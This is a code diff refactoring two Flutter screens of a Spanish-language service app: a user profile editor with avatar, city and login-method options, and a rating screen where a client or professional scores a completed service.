const SizedBox(height: 20.0),
|
||||
TextFormField(
|
||||
controller: _cityController,
|
||||
readOnly: true,
|
||||
onTap: () async {
|
||||
final cityName = await Navigator.push(
|
||||
context,
|
||||
CupertinoPageRoute(
|
||||
builder: (BuildContext context) {
|
||||
return const CityListScreen();
|
||||
},
|
||||
),
|
||||
);
|
||||
|
||||
if (cityName != null) {
|
||||
_cityController.text = cityName;
|
||||
}
|
||||
},
|
||||
decoration: const InputDecoration(
|
||||
labelText: 'Ciudad',
|
||||
prefixIcon: Icon(Icons.near_me_rounded),
|
||||
hintText: 'Selecciona tu ciudad',
|
||||
border: OutlineInputBorder(
|
||||
borderRadius: BorderRadius.all(
|
||||
Radius.circular(10.0),
|
||||
)),
|
||||
errorBorder: OutlineInputBorder(
|
||||
borderSide: BorderSide(color: Colors.red),
|
||||
),
|
||||
focusedErrorBorder: OutlineInputBorder(
|
||||
borderSide: BorderSide(
|
||||
color: Colors.red, width: 2.0),
|
||||
),
|
||||
),
|
||||
validator: (value) {
|
||||
if (value == null || value.isEmpty) {
|
||||
return 'Por favor, ingrese su nombre';
|
||||
}
|
||||
return null;
|
||||
},
|
||||
),
|
||||
_birthdayController.text.isEmpty &&
|
||||
_genderController.text.isEmpty
|
||||
? Column(
|
||||
children: [
|
||||
const SizedBox(height: 20.0),
|
||||
BirthdayPicker(
|
||||
onDateSelected: (birthDay) {
|
||||
_birthdayController.text =
|
||||
DateFormat('dd/MM/yyyy')
|
||||
.format(birthDay);
|
||||
},
|
||||
controller: _birthdayController,
|
||||
),
|
||||
const SizedBox(height: 20.0),
|
||||
GenderDropdown(
|
||||
controller: _genderController,
|
||||
),
|
||||
],
|
||||
)
|
||||
: const SizedBox(),
|
||||
const SizedBox(height: 20),
|
||||
ProfileItem(
|
||||
title: 'Configurar inicio de sesión con correo',
|
||||
subtitle: _emailController.text,
|
||||
leading: Icons.email_rounded,
|
||||
onTap: () {
|
||||
if (state.user!.name == null ||
|
||||
state.user!.name == '') {
|
||||
ScaffoldMessenger.of(context)
|
||||
.clearSnackBars();
|
||||
ScaffoldMessenger.of(context).showSnackBar(
|
||||
const SnackBar(
|
||||
content: Text(
|
||||
'Por favor, ingrese su nombre')));
|
||||
return;
|
||||
}
|
||||
|
||||
if (state.user!.city == null ||
|
||||
state.user!.city == '') {
|
||||
ScaffoldMessenger.of(context)
|
||||
.clearSnackBars();
|
||||
ScaffoldMessenger.of(context).showSnackBar(
|
||||
const SnackBar(
|
||||
content: Text(
|
||||
'Por favor, ingrese su ciudad')));
|
||||
return;
|
||||
}
|
||||
|
||||
Navigator.push(
|
||||
context,
|
||||
CupertinoPageRoute(
|
||||
builder: (context) => _emailController
|
||||
.text.isEmpty
|
||||
? ProfileRegisterEmailScreen()
|
||||
: ProfileUpdatePasswordScreen(
|
||||
email: _emailController.text)),
|
||||
);
|
||||
},
|
||||
),
|
||||
const SizedBox(height: 20),
|
||||
ProfileItem(
|
||||
title:
|
||||
'Configurar inicio de sesión con celular',
|
||||
subtitle: _phoneController.text,
|
||||
leading: Icons.phone_iphone_rounded,
|
||||
onTap: () {
|
||||
if (state.user!.name == null ||
|
||||
state.user!.name == '') {
|
||||
ScaffoldMessenger.of(context)
|
||||
.clearSnackBars();
|
||||
ScaffoldMessenger.of(context).showSnackBar(
|
||||
const SnackBar(
|
||||
content: Text(
|
||||
'Por favor, ingrese su nombre')));
|
||||
return;
|
||||
}
|
||||
|
||||
if (state.user!.city == null ||
|
||||
state.user!.city == '') {
|
||||
ScaffoldMessenger.of(context)
|
||||
.clearSnackBars();
|
||||
ScaffoldMessenger.of(context).showSnackBar(
|
||||
const SnackBar(
|
||||
content: Text(
|
||||
'Por favor, ingrese su nombre')));
|
||||
return;
|
||||
}
|
||||
|
||||
if (_phoneController.text.isEmpty) {
|
||||
Navigator.push(
|
||||
context,
|
||||
CupertinoPageRoute(
|
||||
builder: (context) =>
|
||||
const ProfileRegisterPhoneScreen(),
|
||||
),
|
||||
);
|
||||
}
|
||||
},
|
||||
),
|
||||
const SizedBox(height: 10),
|
||||
_avatarSection(state, context),
|
||||
const SizedBox(height: 8),
|
||||
_formSection(state, context),
|
||||
],
|
||||
),
|
||||
),
|
||||
),
|
||||
),
|
||||
const Divider(
|
||||
height: 1,
|
||||
thickness: 0.5,
|
||||
),
|
||||
const Divider(height: 1, thickness: 0.5),
|
||||
Padding(
|
||||
padding: const EdgeInsets.symmetric(
|
||||
vertical: 10,
|
||||
horizontal: 15,
|
||||
),
|
||||
child: saveButton(state, context),
|
||||
vertical: 12, horizontal: 16),
|
||||
child: _saveButton(state, context),
|
||||
),
|
||||
],
|
||||
);
|
||||
@@ -304,29 +198,220 @@ class _ProfileScreenState extends State<ProfileScreen> {
|
||||
);
|
||||
}
|
||||
|
||||
Widget saveButton(MyUserState state, BuildContext context) {
|
||||
Widget _avatarSection(MyUserState state, BuildContext context) {
|
||||
return Container(
|
||||
color: _kPrimary,
|
||||
padding: const EdgeInsets.only(bottom: 28),
|
||||
child: Center(
|
||||
child: Stack(
|
||||
children: [
|
||||
GestureDetector(
|
||||
onTap: () async {
|
||||
final picker = ImagePicker();
|
||||
final image = await picker.pickImage(
|
||||
source: ImageSource.gallery,
|
||||
maxHeight: 500,
|
||||
maxWidth: 500,
|
||||
imageQuality: 40,
|
||||
);
|
||||
if (image != null) setState(() => _imageFile = image);
|
||||
},
|
||||
child: Hero(
|
||||
tag: 'picture-profile',
|
||||
child: _avatarContainer(state),
|
||||
),
|
||||
),
|
||||
Positioned(
|
||||
bottom: 0,
|
||||
right: 0,
|
||||
child: Container(
|
||||
width: 30,
|
||||
height: 30,
|
||||
decoration: BoxDecoration(
|
||||
color: Colors.white,
|
||||
shape: BoxShape.circle,
|
||||
boxShadow: [
|
||||
BoxShadow(
|
||||
color: Colors.black.withOpacity(0.15), blurRadius: 4)
|
||||
],
|
||||
),
|
||||
child:
|
||||
const Icon(Icons.camera_alt_outlined, size: 16, color: _kPrimary),
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
Widget _avatarContainer(MyUserState state) {
|
||||
ImageProvider<Object>? imageProvider;
|
||||
if (_imageFile?.path != null && _imageFile!.path.isNotEmpty) {
|
||||
imageProvider = FileImage(File(_imageFile!.path));
|
||||
} else if (state.user?.picture != null &&
|
||||
state.user!.picture!.isNotEmpty) {
|
||||
imageProvider = NetworkImage(state.user!.picture!);
|
||||
}
|
||||
|
||||
return Container(
|
||||
width: 96,
|
||||
height: 96,
|
||||
decoration: BoxDecoration(
|
||||
color: Colors.white.withOpacity(0.2),
|
||||
shape: BoxShape.circle,
|
||||
border: Border.all(color: Colors.white, width: 3),
|
||||
image: imageProvider == null
|
||||
? null
|
||||
: DecorationImage(image: imageProvider, fit: BoxFit.cover),
|
||||
),
|
||||
child: imageProvider == null
|
||||
? const Icon(CupertinoIcons.person, color: Colors.white70, size: 44)
|
||||
: null,
|
||||
);
|
||||
}
|
||||
|
||||
Widget _formSection(MyUserState state, BuildContext context) {
|
||||
return Padding(
|
||||
padding: const EdgeInsets.symmetric(horizontal: 20),
|
||||
child: Column(
|
||||
crossAxisAlignment: CrossAxisAlignment.stretch,
|
||||
children: [
|
||||
const SizedBox(height: 16),
|
||||
_field(
|
||||
controller: _nameController,
|
||||
label: 'Nombre',
|
||||
icon: Icons.person_outline_rounded,
|
||||
validator: (v) =>
|
||||
(v == null || v.isEmpty) ? 'Ingresa tu nombre' : null,
|
||||
),
|
||||
const SizedBox(height: 14),
|
||||
TextFormField(
|
||||
controller: _cityController,
|
||||
readOnly: true,
|
||||
onTap: () async {
|
||||
final cityName = await Navigator.push<String>(
|
||||
context,
|
||||
CupertinoPageRoute(builder: (_) => const CityListScreen()),
|
||||
);
|
||||
if (cityName != null) _cityController.text = cityName;
|
||||
},
|
||||
decoration: _inputDeco(
|
||||
'Ciudad',
|
||||
Icons.location_city_outlined,
|
||||
hint: 'Selecciona tu ciudad',
|
||||
suffixIcon: _isLocating
|
||||
? const Padding(
|
||||
padding: EdgeInsets.all(12),
|
||||
child: SizedBox(
|
||||
width: 18,
|
||||
height: 18,
|
||||
child: CircularProgressIndicator(strokeWidth: 2),
|
||||
),
|
||||
)
|
||||
: IconButton(
|
||||
icon: const Icon(Icons.my_location_outlined),
|
||||
tooltip: 'Usar mi ubicación',
|
||||
onPressed: _useMyLocation,
|
||||
),
|
||||
),
|
||||
),
|
||||
if (_birthdayController.text.isEmpty &&
|
||||
_genderController.text.isEmpty) ...[
|
||||
const SizedBox(height: 14),
|
||||
BirthdayPicker(
|
||||
onDateSelected: (d) => _birthdayController.text =
|
||||
DateFormat('dd/MM/yyyy').format(d),
|
||||
controller: _birthdayController,
|
||||
),
|
||||
const SizedBox(height: 14),
|
||||
GenderDropdown(controller: _genderController),
|
||||
],
|
||||
const SizedBox(height: 20),
|
||||
Container(
|
||||
decoration: BoxDecoration(
|
||||
color: context.card,
|
||||
borderRadius: BorderRadius.circular(12),
|
||||
boxShadow: [BoxShadow(color: context.shadowSm, blurRadius: 8)],
|
||||
),
|
||||
child: Column(
|
||||
children: [
|
||||
ProfileItem(
|
||||
title: 'Inicio de sesión con correo',
|
||||
subtitle: _emailController.text,
|
||||
leading: Icons.email_outlined,
|
||||
onTap: () {
|
||||
if (!_validateProfile(state, context)) return;
|
||||
Navigator.push(
|
||||
context,
|
||||
CupertinoPageRoute(
|
||||
builder: (_) => _emailController.text.isEmpty
|
||||
? ProfileRegisterEmailScreen()
|
||||
: ProfileUpdatePasswordScreen(
|
||||
email: _emailController.text),
|
||||
),
|
||||
);
|
||||
},
|
||||
),
|
||||
Divider(
|
||||
height: 1,
|
||||
thickness: 0.5,
|
||||
color: context.onSurface.withOpacity(0.08)),
|
||||
ProfileItem(
|
||||
title: 'Inicio de sesión con celular',
|
||||
subtitle: _phoneController.text,
|
||||
leading: Icons.phone_iphone_rounded,
|
||||
onTap: () {
|
||||
if (!_validateProfile(state, context)) return;
|
||||
if (_phoneController.text.isEmpty) {
|
||||
Navigator.push(
|
||||
context,
|
||||
CupertinoPageRoute(
|
||||
builder: (_) =>
|
||||
const ProfileRegisterPhoneScreen()),
|
||||
);
|
||||
}
|
||||
},
|
||||
),
|
||||
],
|
||||
),
|
||||
),
|
||||
const SizedBox(height: 16),
|
||||
],
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
bool _validateProfile(MyUserState state, BuildContext context) {
|
||||
if (state.user!.name == null || state.user!.name == '') {
|
||||
ScaffoldMessenger.of(context).clearSnackBars();
|
||||
ScaffoldMessenger.of(context).showSnackBar(
|
||||
const SnackBar(content: Text('Por favor, ingresa tu nombre')));
|
||||
return false;
|
||||
}
|
||||
if (state.user!.city == null || state.user!.city == '') {
|
||||
ScaffoldMessenger.of(context).clearSnackBars();
|
||||
ScaffoldMessenger.of(context).showSnackBar(
|
||||
const SnackBar(content: Text('Por favor, ingresa tu ciudad')));
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
Widget _saveButton(MyUserState state, BuildContext context) {
|
||||
return ElevatedButton(
|
||||
onPressed: () {
|
||||
if (isLoading) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (isLoading) return;
|
||||
if (_nameController.text.isEmpty) {
|
||||
ScaffoldMessenger.of(context).clearSnackBars();
|
||||
ScaffoldMessenger.of(context).showSnackBar(
|
||||
const SnackBar(content: Text('Por favor, ingrese su nombre')));
|
||||
|
||||
const SnackBar(content: Text('Por favor, ingresa tu nombre')));
|
||||
return;
|
||||
}
|
||||
|
||||
if (_cityController.text.isEmpty) {
|
||||
ScaffoldMessenger.of(context).clearSnackBars();
|
||||
ScaffoldMessenger.of(context).showSnackBar(
|
||||
const SnackBar(content: Text('Por favor, ingrese su ciudad')));
|
||||
|
||||
const SnackBar(content: Text('Por favor, ingresa tu ciudad')));
|
||||
return;
|
||||
}
|
||||
|
||||
final myUser = state.user!.copyWith(
|
||||
name: _nameController.text,
|
||||
city: _cityController.text,
|
||||
@@ -336,102 +421,62 @@ class _ProfileScreenState extends State<ProfileScreen> {
|
||||
birthday: _birthdayController.text,
|
||||
gender: _genderController.text,
|
||||
);
|
||||
|
||||
context
|
||||
.read<ProfileBloc>()
|
||||
.add(UpdateUserInfo(myUser: myUser, filePicture: _imageFile?.path));
|
||||
|
||||
ScaffoldMessenger.of(context).clearSnackBars();
|
||||
ScaffoldMessenger.of(context).showSnackBar(
|
||||
const SnackBar(content: Text('Información actualizada...')),
|
||||
);
|
||||
|
||||
const SnackBar(content: Text('Actualizando información...')));
|
||||
Navigator.pop(context);
|
||||
},
|
||||
style: FilledButton.styleFrom(
|
||||
backgroundColor: Theme.of(context).colorScheme.primary,
|
||||
style: ElevatedButton.styleFrom(
|
||||
backgroundColor: _kPrimary,
|
||||
foregroundColor: Colors.white,
|
||||
padding: const EdgeInsets.symmetric(vertical: 15),
|
||||
shape: RoundedRectangleBorder(
|
||||
borderRadius: BorderRadius.circular(10),
|
||||
elevation: 0,
|
||||
shape:
|
||||
RoundedRectangleBorder(borderRadius: BorderRadius.circular(12)),
|
||||
),
|
||||
),
|
||||
child: Container(
|
||||
alignment: Alignment.center,
|
||||
child: isLoading
|
||||
? const CircularProgressIndicator(
|
||||
color: Colors.white,
|
||||
)
|
||||
: const Text(
|
||||
'Actualizar',
|
||||
style: TextStyle(
|
||||
color: Colors.white,
|
||||
fontSize: 18,
|
||||
),
|
||||
? const SizedBox(
|
||||
height: 20,
|
||||
width: 20,
|
||||
child: CircularProgressIndicator(
|
||||
strokeWidth: 2, color: Colors.white))
|
||||
: const Text('Guardar cambios',
|
||||
style: TextStyle(fontSize: 16, fontWeight: FontWeight.w600)),
|
||||
);
|
||||
}
|
||||
|
||||
static InputDecoration _inputDeco(String label, IconData icon,
|
||||
{String? hint, Widget? suffixIcon}) {
|
||||
return InputDecoration(
|
||||
labelText: label,
|
||||
hintText: hint,
|
||||
prefixIcon: Icon(icon),
|
||||
suffixIcon: suffixIcon,
|
||||
border: OutlineInputBorder(borderRadius: BorderRadius.circular(12)),
|
||||
enabledBorder: OutlineInputBorder(
|
||||
borderRadius: BorderRadius.circular(12),
|
||||
borderSide: BorderSide(color: Colors.grey.shade300),
|
||||
),
|
||||
focusedBorder: OutlineInputBorder(
|
||||
borderRadius: BorderRadius.circular(12),
|
||||
borderSide: const BorderSide(color: _kPrimary, width: 2),
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
Widget pictureWidget(MyUserState state, BuildContext context) {
|
||||
final pictureUrl = state.user?.picture;
|
||||
final pathImageFile = _imageFile?.path;
|
||||
|
||||
ImageProvider<Object>? imageProvider;
|
||||
|
||||
if (pathImageFile != null && pathImageFile.isNotEmpty) {
|
||||
imageProvider = FileImage(File(pathImageFile));
|
||||
} else if (pictureUrl != null && pictureUrl.isNotEmpty) {
|
||||
imageProvider = NetworkImage(pictureUrl);
|
||||
}
|
||||
|
||||
return GestureDetector(
|
||||
onTap: () async {
|
||||
final ImagePicker picker = ImagePicker();
|
||||
final XFile? image = await picker.pickImage(
|
||||
source: ImageSource.gallery,
|
||||
maxHeight: 500,
|
||||
maxWidth: 500,
|
||||
imageQuality: 40,
|
||||
);
|
||||
|
||||
if (image != null) {
|
||||
setState(() {
|
||||
_imageFile = image;
|
||||
});
|
||||
}
|
||||
},
|
||||
child: Hero(
|
||||
tag: 'picture-profile',
|
||||
child: pictureContainerWidget(imageProvider),
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
Widget pictureContainerWidget(ImageProvider<Object>? imageProvider) {
|
||||
final image = imageProvider == null
|
||||
? null
|
||||
: DecorationImage(
|
||||
image: imageProvider,
|
||||
fit: BoxFit.contain,
|
||||
);
|
||||
|
||||
final widget = image == null
|
||||
? Icon(
|
||||
CupertinoIcons.person,
|
||||
color: Colors.grey.shade400,
|
||||
size: 40,
|
||||
)
|
||||
: null;
|
||||
|
||||
return Container(
|
||||
width: 120,
|
||||
height: 120,
|
||||
decoration: BoxDecoration(
|
||||
color: Colors.grey.shade300,
|
||||
shape: BoxShape.circle,
|
||||
image: image,
|
||||
),
|
||||
child: widget,
|
||||
Widget _field({
|
||||
required TextEditingController controller,
|
||||
required String label,
|
||||
required IconData icon,
|
||||
String? Function(String?)? validator,
|
||||
}) {
|
||||
return TextFormField(
|
||||
controller: controller,
|
||||
decoration: _inputDeco(label, icon),
|
||||
validator: validator,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
+261
-284
@@ -10,9 +10,21 @@ import 'package:score_repository/score_repository.dart';
|
||||
import 'package:service_repository/service_repository.dart';
|
||||
import 'package:user_repository/user_repository.dart';
|
||||
|
||||
const _kPrimary = Color(0xFF1565C0);
|
||||
|
||||
extension _Th on BuildContext {
|
||||
ThemeData get _t => Theme.of(this);
|
||||
Color get bg => _t.scaffoldBackgroundColor;
|
||||
Color get card => _t.cardColor;
|
||||
Color get onSurface => _t.colorScheme.onSurface;
|
||||
Color get muted => _t.colorScheme.onSurface.withOpacity(0.55);
|
||||
bool get isDark => _t.brightness == Brightness.dark;
|
||||
Color get shadowSm =>
|
||||
isDark ? Colors.transparent : Colors.black.withOpacity(0.05);
|
||||
}
|
||||
|
||||
class ScoreScreen extends StatefulWidget {
|
||||
final ServiceEntity service;
|
||||
|
||||
const ScoreScreen({Key? key, required this.service}) : super(key: key);
|
||||
|
||||
@override
|
||||
@@ -21,20 +33,22 @@ class ScoreScreen extends StatefulWidget {
|
||||
|
||||
class _ScoreScreenState extends State<ScoreScreen> {
|
||||
double _rating = 1.0;
|
||||
TextEditingController commentController = TextEditingController();
|
||||
final TextEditingController _commentController = TextEditingController();
|
||||
late Future<List<dynamic>> _userInfoFuture;
|
||||
late bool isProfessional;
|
||||
late String userId;
|
||||
bool _isSending = false;
|
||||
|
||||
/// True when the person rating is the client (they rate the professional).
|
||||
bool get isUser =>
|
||||
widget.service.userId == (ApiUserRepository.currentUserId ?? '');
|
||||
|
||||
@override
|
||||
void initState() {
|
||||
super.initState();
|
||||
_userInfoFuture = _getUserAndProfessionalInfo(widget.service);
|
||||
_userInfoFuture = _getUserInfo(widget.service);
|
||||
isProfessional =
|
||||
ApiUserRepository.currentUserId ?? '' == widget.service.userId
|
||||
? true
|
||||
: false;
|
||||
|
||||
(ApiUserRepository.currentUserId ?? '') == widget.service.userId;
|
||||
userId =
|
||||
isProfessional ? widget.service.professionalId : widget.service.userId;
|
||||
}
|
||||
@@ -42,10 +56,45 @@ class _ScoreScreenState extends State<ScoreScreen> {
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
return BlocProvider(
|
||||
create: (context) => Injector.appInstance.get<ScoreBloc>(),
|
||||
create: (_) => Injector.appInstance.get<ScoreBloc>(),
|
||||
child: BlocListener<ScoreBloc, ScoreState>(
|
||||
listener: (context, state) {
|
||||
if (state is ScoreSending) {
|
||||
setState(() => _isSending = true);
|
||||
} else if (state is ScoreSent) {
|
||||
setState(() => _isSending = false);
|
||||
// Only now is the rating actually stored, so only now do we mark
|
||||
// the service as scored and leave the screen.
|
||||
if (isUser) {
|
||||
context
|
||||
.read<ServiceBloc>()
|
||||
.add(UpdateProfessionalScored(widget.service.id!));
|
||||
} else {
|
||||
context
|
||||
.read<ServiceBloc>()
|
||||
.add(UpdateUserScored(widget.service.id!));
|
||||
}
|
||||
ScaffoldMessenger.of(context).showSnackBar(
|
||||
const SnackBar(content: Text('¡Gracias por tu calificación!')),
|
||||
);
|
||||
Navigator.pop(context);
|
||||
} else if (state is ScoreSendFailure) {
|
||||
setState(() => _isSending = false);
|
||||
ScaffoldMessenger.of(context).clearSnackBars();
|
||||
ScaffoldMessenger.of(context).showSnackBar(
|
||||
const SnackBar(
|
||||
content: Text(
|
||||
'No se pudo enviar tu calificación. Inténtalo de nuevo.')),
|
||||
);
|
||||
}
|
||||
},
|
||||
child: Scaffold(
|
||||
backgroundColor: context.bg,
|
||||
appBar: AppBar(
|
||||
title: const Text('Calificación'),
|
||||
title: const Text('Calificar servicio'),
|
||||
backgroundColor: _kPrimary,
|
||||
foregroundColor: Colors.white,
|
||||
elevation: 0,
|
||||
),
|
||||
body: Column(
|
||||
children: [
|
||||
@@ -53,25 +102,68 @@ class _ScoreScreenState extends State<ScoreScreen> {
|
||||
child: SingleChildScrollView(
|
||||
child: Column(
|
||||
children: [
|
||||
FutureBuilder(
|
||||
FutureBuilder<List<dynamic>>(
|
||||
future: _userInfoFuture,
|
||||
builder:
|
||||
(context, AsyncSnapshot<List<dynamic>> snapshot) {
|
||||
builder: (context, snapshot) {
|
||||
if (snapshot.connectionState ==
|
||||
ConnectionState.waiting) {
|
||||
return const Center(
|
||||
child: CircularProgressIndicator());
|
||||
} else {
|
||||
if (snapshot.hasError) {
|
||||
return Center(
|
||||
child:
|
||||
Text('Error inesperado: ${snapshot.error}'),
|
||||
return const Padding(
|
||||
padding: EdgeInsets.all(40),
|
||||
child: CircularProgressIndicator(),
|
||||
);
|
||||
} else {
|
||||
}
|
||||
if (snapshot.hasError) {
|
||||
return Padding(
|
||||
padding: const EdgeInsets.all(24),
|
||||
child: Text('Error: ${snapshot.error}'),
|
||||
);
|
||||
}
|
||||
final userInfo = snapshot.data![0] as MyUser;
|
||||
return _profileHeader(context, userInfo);
|
||||
},
|
||||
),
|
||||
const SizedBox(height: 4),
|
||||
_ratingSection(context),
|
||||
_commentSection(context),
|
||||
],
|
||||
),
|
||||
),
|
||||
),
|
||||
const Divider(height: 1, thickness: 0.5),
|
||||
BlocProvider<ServiceBloc>(
|
||||
create: (_) => Injector.appInstance.get<ServiceBloc>(),
|
||||
child: Padding(
|
||||
padding: const EdgeInsets.symmetric(
|
||||
vertical: 12, horizontal: 16),
|
||||
child: BlocBuilder<ServiceBloc, ServiceState>(
|
||||
builder: (context, serviceState) {
|
||||
return _sendButton(context);
|
||||
},
|
||||
),
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
),
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
return SizedBox(
|
||||
Widget _profileHeader(BuildContext context, MyUser user) {
|
||||
return Container(
|
||||
width: double.infinity,
|
||||
margin: const EdgeInsets.all(16),
|
||||
padding: const EdgeInsets.all(20),
|
||||
decoration: BoxDecoration(
|
||||
color: context.card,
|
||||
borderRadius: BorderRadius.circular(16),
|
||||
boxShadow: [
|
||||
BoxShadow(
|
||||
color: context.shadowSm,
|
||||
blurRadius: 12,
|
||||
offset: const Offset(0, 2))
|
||||
],
|
||||
),
|
||||
child: Stack(
|
||||
alignment: Alignment.center,
|
||||
children: [
|
||||
@@ -79,327 +171,212 @@ class _ScoreScreenState extends State<ScoreScreen> {
|
||||
mainAxisSize: MainAxisSize.min,
|
||||
children: [
|
||||
Container(
|
||||
width: 95,
|
||||
height: 95,
|
||||
width: 84,
|
||||
height: 84,
|
||||
decoration: BoxDecoration(
|
||||
color: Colors.grey.shade300,
|
||||
shape: BoxShape.circle,
|
||||
image: userInfo.picture == null
|
||||
? null
|
||||
: DecorationImage(
|
||||
image: NetworkImage(
|
||||
userInfo.picture!),
|
||||
fit: BoxFit.contain,
|
||||
),
|
||||
),
|
||||
child: userInfo.picture == null
|
||||
? Icon(
|
||||
CupertinoIcons.person,
|
||||
color: Colors.grey.shade400,
|
||||
size: 50,
|
||||
)
|
||||
border: Border.all(
|
||||
color: _kPrimary.withOpacity(0.25), width: 3),
|
||||
color: Colors.grey.shade200,
|
||||
image: user.picture != null && user.picture!.isNotEmpty
|
||||
? DecorationImage(
|
||||
image: NetworkImage(user.picture!),
|
||||
fit: BoxFit.cover)
|
||||
: null,
|
||||
),
|
||||
const SizedBox(height: 8),
|
||||
Text(
|
||||
'${userInfo.name}',
|
||||
style: const TextStyle(
|
||||
fontSize: 20,
|
||||
fontWeight: FontWeight.bold,
|
||||
child: user.picture == null || user.picture!.isEmpty
|
||||
? Icon(CupertinoIcons.person,
|
||||
color: Colors.grey.shade500, size: 38)
|
||||
: null,
|
||||
),
|
||||
),
|
||||
const SizedBox(
|
||||
height: 15,
|
||||
)
|
||||
const SizedBox(height: 10),
|
||||
Text(user.name ?? '',
|
||||
style: TextStyle(
|
||||
fontSize: 17,
|
||||
fontWeight: FontWeight.w700,
|
||||
color: context.onSurface)),
|
||||
],
|
||||
),
|
||||
GeneralReputation(
|
||||
userId: userId,
|
||||
builder: (BuildContext context,
|
||||
ReputationEntity reputation) {
|
||||
final double average;
|
||||
|
||||
if (isProfessional) {
|
||||
average = reputation.averagePro;
|
||||
} else {
|
||||
average = reputation.average;
|
||||
}
|
||||
|
||||
builder: (_, ReputationEntity reputation) {
|
||||
final average = isProfessional
|
||||
? reputation.averagePro
|
||||
: reputation.average;
|
||||
return Positioned(
|
||||
top: 3,
|
||||
right:
|
||||
MediaQuery.of(context).size.width *
|
||||
0.3,
|
||||
top: 0,
|
||||
right: MediaQuery.of(context).size.width * 0.18,
|
||||
child: Container(
|
||||
padding: const EdgeInsets.symmetric(
|
||||
horizontal: 10,
|
||||
vertical: 3,
|
||||
),
|
||||
padding:
|
||||
const EdgeInsets.symmetric(horizontal: 8, vertical: 3),
|
||||
decoration: BoxDecoration(
|
||||
color: Colors.white,
|
||||
borderRadius:
|
||||
BorderRadius.circular(20),
|
||||
color: context.card,
|
||||
borderRadius: BorderRadius.circular(20),
|
||||
boxShadow: [
|
||||
BoxShadow(
|
||||
color: Colors.black
|
||||
.withOpacity(0.1),
|
||||
spreadRadius: 1,
|
||||
blurRadius: 2,
|
||||
offset: const Offset(
|
||||
0,
|
||||
1,
|
||||
color: context.shadowSm,
|
||||
blurRadius: 6,
|
||||
spreadRadius: 1)
|
||||
],
|
||||
),
|
||||
child: Row(mainAxisSize: MainAxisSize.min, children: [
|
||||
const Icon(Icons.star, color: Colors.amber, size: 14),
|
||||
const SizedBox(width: 3),
|
||||
Text(average.toStringAsFixed(1),
|
||||
style: TextStyle(
|
||||
fontSize: 12,
|
||||
fontWeight: FontWeight.w600,
|
||||
color: context.onSurface)),
|
||||
]),
|
||||
),
|
||||
);
|
||||
},
|
||||
),
|
||||
],
|
||||
),
|
||||
child: Row(
|
||||
mainAxisSize: MainAxisSize.min,
|
||||
);
|
||||
}
|
||||
|
||||
Widget _ratingSection(BuildContext context) {
|
||||
return Container(
|
||||
margin: const EdgeInsets.symmetric(horizontal: 16),
|
||||
padding: const EdgeInsets.all(20),
|
||||
decoration: BoxDecoration(
|
||||
color: context.card,
|
||||
borderRadius: BorderRadius.circular(16),
|
||||
boxShadow: [BoxShadow(color: context.shadowSm, blurRadius: 8)],
|
||||
),
|
||||
child: Column(
|
||||
children: [
|
||||
const Icon(
|
||||
Icons.star,
|
||||
color: Colors.yellow,
|
||||
size: 20,
|
||||
),
|
||||
const SizedBox(width: 4),
|
||||
Flexible(
|
||||
child: Text(
|
||||
average.toStringAsFixed(2),
|
||||
style: const TextStyle(
|
||||
fontSize: 15,
|
||||
),
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
),
|
||||
);
|
||||
},
|
||||
)
|
||||
],
|
||||
),
|
||||
);
|
||||
// Padding(
|
||||
// padding: const EdgeInsets.symmetric(horizontal: 15),
|
||||
// child: ListTile(
|
||||
// leading: Container(
|
||||
// width: 60,
|
||||
// height: 60,
|
||||
// decoration: BoxDecoration(
|
||||
// color: Colors.grey.shade300,
|
||||
// shape: BoxShape.circle,
|
||||
// image: userInfo.picture == null
|
||||
// ? null
|
||||
// : DecorationImage(
|
||||
// image: NetworkImage(
|
||||
// userInfo.picture ?? ''),
|
||||
// fit: BoxFit.contain,
|
||||
// ),
|
||||
// ),
|
||||
// child: userInfo.picture == null
|
||||
// ? Icon(
|
||||
// CupertinoIcons.person,
|
||||
// color: Colors.grey.shade400,
|
||||
// size: 40,
|
||||
// )
|
||||
// : null,
|
||||
// ),
|
||||
// title: Text(
|
||||
// userInfo.name ?? '',
|
||||
// overflow: TextOverflow.ellipsis,
|
||||
// style: const TextStyle(
|
||||
// fontSize: 15,
|
||||
// fontWeight: FontWeight.w600,
|
||||
// ),
|
||||
// ),
|
||||
// subtitle: const Text(
|
||||
// 'Rating: 5.0',
|
||||
// style: TextStyle(
|
||||
// fontSize: 13,
|
||||
// color: Colors.blue,
|
||||
// ),
|
||||
// ),
|
||||
// ),
|
||||
// );
|
||||
}
|
||||
}
|
||||
},
|
||||
),
|
||||
const SizedBox(height: 10),
|
||||
const Text(
|
||||
'Califica el servicio',
|
||||
style:
|
||||
TextStyle(fontSize: 20, fontWeight: FontWeight.w600),
|
||||
),
|
||||
const SizedBox(height: 10),
|
||||
Text('¿Cómo fue el servicio?',
|
||||
style: TextStyle(
|
||||
fontSize: 16,
|
||||
fontWeight: FontWeight.w700,
|
||||
color: context.onSurface)),
|
||||
const SizedBox(height: 14),
|
||||
RatingBar.builder(
|
||||
initialRating: _rating,
|
||||
minRating: 1,
|
||||
direction: Axis.horizontal,
|
||||
allowHalfRating: true,
|
||||
itemCount: 5,
|
||||
itemSize: 40,
|
||||
itemSize: 42,
|
||||
glow: false,
|
||||
maxRating: 5,
|
||||
itemPadding: const EdgeInsets.symmetric(horizontal: 5),
|
||||
itemBuilder: (context, _) => const Icon(
|
||||
Icons.star,
|
||||
color: Color(0xFF2BA4EC),
|
||||
itemPadding: const EdgeInsets.symmetric(horizontal: 4),
|
||||
itemBuilder: (_, __) =>
|
||||
const Icon(Icons.star_rounded, color: _kPrimary),
|
||||
onRatingUpdate: (r) => setState(() => _rating = r),
|
||||
),
|
||||
onRatingUpdate: (rating) {
|
||||
setState(() {
|
||||
_rating = rating;
|
||||
});
|
||||
},
|
||||
ignoreGestures: false,
|
||||
const SizedBox(height: 8),
|
||||
Text(
|
||||
_ratingMessage(_rating),
